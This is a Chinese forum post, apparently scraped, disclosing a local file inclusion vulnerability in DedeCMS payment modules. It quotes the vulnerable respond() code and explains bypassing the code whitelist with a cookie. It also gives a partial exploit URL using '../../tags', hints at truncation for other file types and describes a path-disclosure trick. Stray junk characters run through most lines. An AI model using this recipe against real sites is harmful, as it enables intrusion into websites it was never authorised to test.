晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
- v& N: v" H' [! ?
) K, l& Z# `$ T# j: q出现漏洞的两个文件为:6 [9 O' J: j8 x/ ]
Include/payment/alipay.php/ S- Z& w4 m* P2 c7 N( X
Include/payment/yeepay.php
( m2 j, K# u, o3 ~% ?漏洞均出现在respond方法里,估计这两个文件是临时工写的。
6 r3 p" Y3 a3 v) c: a9 E0 o& D: t0 [; Y1 ~) d A! V
Include/payment/alipay.php
& x: |1 U1 x, X# T( R
3 ?# `& f; N" N/ O......2 {- \1 `- e. P5 A1 Y% _: R
function respond()8 b/ T: E$ F8 B! Q- I: Y/ Y
{
' v4 a; O: n1 u( F- S' d9 C9 e1 ] if (!empty($_POST))
" ~. R6 _6 e) ~% E {
0 C8 a: D6 w7 N6 [2 j4 k foreach($_POST as $key => $data)7 [7 L5 _5 h/ @
{
9 i6 Z0 r6 x1 H1 I $_GET[$key] = $data;, q& H) K( ]) R
}& l. B- h8 |) E& d
}# E) ^) G* M9 c& L
/* 引入配置文件 */
( |% N3 g2 S# X. g, V, o require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';3 e3 D2 |" A; {; U
...... 2 ?4 |/ P; O7 N) n* H
2 N, e- f) d: N) f: w' S) ^ S1 e
+ {- t& m1 e$ x, l, b大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。 h+ K- p/ _9 }3 Q
) u. Q: h' c) O' o; s+ i& [
Include/payment/yeepay.php
& r8 K ?8 ], [5 P
& \$ j3 n5 r! f: O - j2 w7 J$ Y6 u& U3 Q
5 `' `4 I+ T( U; I6 I$ _......
- J2 Y$ V5 Z7 U* y) Y, x9 c& I: m* z0 @( { function respond()
: k# x* ?+ c8 d' O5 I) {4 @, v7 L; _1 d {3 s9 U+ [# G5 v/ H3 i
I% o4 n( J4 |- H! X+ n
/* 引入配置文件 */
- e, R& E1 |& R; ?, q# Y require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';0 ~1 l- x4 m; g }8 i7 U8 K0 C5 S
" y" u. ?- Y! j
$p1_MerId = trim($payment['yp_account']);+ ~0 Y, M$ o& X; j
$merchantKey = trim($payment['yp_key']); }$ M9 f6 G9 U3 |3 Q
...... : K2 J$ n( @1 H. G, O
( k5 d# d! o A' g( [, D y/ g, l Y% w5 L" X# `/ a* J- t
" o- N# y n% ?1 j: d6 i1 x, A- E- N% r8 M% E/ ^
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
9 O/ c* X7 V& W- s6 @# q
2 k2 t3 ]" w+ v' k' v& v这两个方法在plus/carbuyaction.php文件调用。
# i' A' v1 M6 X6 N2 k2 w0 K7 v! n6 [+ E* O& @4 b
plus/carbuyaction.php- K" t* x( C5 P2 N1 U6 `* Z
1 ?( ~# ~6 K/ Y
......
' s" f7 Z3 U- [* v} else if ($dopost == 'return') {' n: A j6 o: N# w) o) t
$write_list = array('alipay', 'bank', 'cod', 'yeepay');
1 a% T P. V: ^( y2 x# E if (in_array($code, $write_list))
~5 ^0 i. i2 ` {
( M% ~1 B# n0 i/ } require_once DEDEINC.'/payment/'.$code.'.php';
) x2 P0 e, x+ r0 L $pay = new $code;
, A ]2 R/ \# t1 ]$ Z u $msg=$pay->respond();8 V0 I) d7 h! k; K4 U T' U G) b
ShowMsg($msg, "javascript:;", 0, 3000);
$ G/ S( n4 w- d/ z% o* J4 d exit(); . w5 g8 z% n# w" N. v
} else {% b* p V0 e/ E. p
exit('Error:File Type Can\'t Recognized!');
% k* ]& R, a# V; }+ r; U5 g7 P% q+ l }
3 |1 f+ N! D0 ~1 W) P: k$ C6 o}6 g: P* b3 {& N, }
......
; R# J% b$ i; e: Q) V 7 F. Y+ l5 }3 f' N- Q5 B
4 \( u' Y, c: M/ l7 p* J: C
0 [% K) q' P6 l% r
3 g- `# {' Y/ x8 v6 N* T
" b7 @$ [/ y1 ~9 S5 F# H
1 y2 D3 a# |9 @ H( L5 Y大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
T6 ~+ p4 M) f所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
$ L" R6 y7 w# P+ C/ t
, k. x3 Q& O5 s. R2 r6 h回到include/common.inc.php来看看他的机制。7 J& u3 J/ `% h
7 }% j+ q/ E) I/ r
3 |4 S" j$ |2 P$ Q5 `# Z* z+ j4 Q% G+ Q n
......
4 l# q( i d9 a# _: rforeach(Array('_GET','_POST','_COOKIE') as $_request)
6 J2 O& V5 K- g* e/ T9 b{
3 |2 Q5 \( W) ^, D- J foreach($$_request as $_k => $_v)
O c. C( L; V9 o% R! J {/ S! Q+ R+ E* C% O. P. j1 J
if($_k == 'nvarname') ${$_k} = $_v;+ k" i- ]* j0 c, K3 `* [4 ~
else ${$_k} = _RunMagicQuotes($_v);1 _% g- F! x& q; m! Q w9 j) w
}+ v7 u5 ^ A5 R' p! B' q
}! {9 w( j7 Q8 O+ m1 h6 b
...... ( s0 Y c4 G# q4 ]
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
0 N' s$ x- Q5 n" e由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |